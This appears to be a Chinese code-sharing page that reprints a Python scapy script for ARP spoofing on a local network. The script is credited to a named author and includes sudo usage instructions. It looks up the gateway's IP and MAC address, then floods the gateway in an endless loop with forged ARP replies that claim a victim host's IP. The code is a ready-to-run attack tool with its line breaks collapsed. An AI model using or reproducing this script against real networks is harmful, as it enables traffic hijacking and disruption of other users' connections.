python针对局域网的arp欺骗代码,pythonarp,#coding:utf-


#coding:utf-8#FILENAME:arp.py#coder:lovedboy#website:lovedboy.tk#USAGE:sudo python arp.py host#example :sudo  python arp.py  192.168.1.103from scapy.all import ARP,sendimport os,re,sysdef get_gateway_ip():    t=os.popen('route -n')    for i in t:        if i.startswith('0.0.0.0'):            r=re.split("\s+",i)            return r[1]def get_gateway_hw(ip):    t=os.popen('arp -e %s' % ip)    for i in t:        if i.startswith(ip):            r=re.split("\s+",i)            return r[2]def hack(hackip):    ip=get_gateway_ip()    hw=get_gateway_hw(ip)    arp=ARP(op=2,pdst=ip,hwdst=hw,psrc=hackip)    #os.popen('ifconfig eth0 %s' % hackip )    while 1:        send(arp)def main():    hack(sys.argv[1])if __name__=="__main__":    main()

评论关闭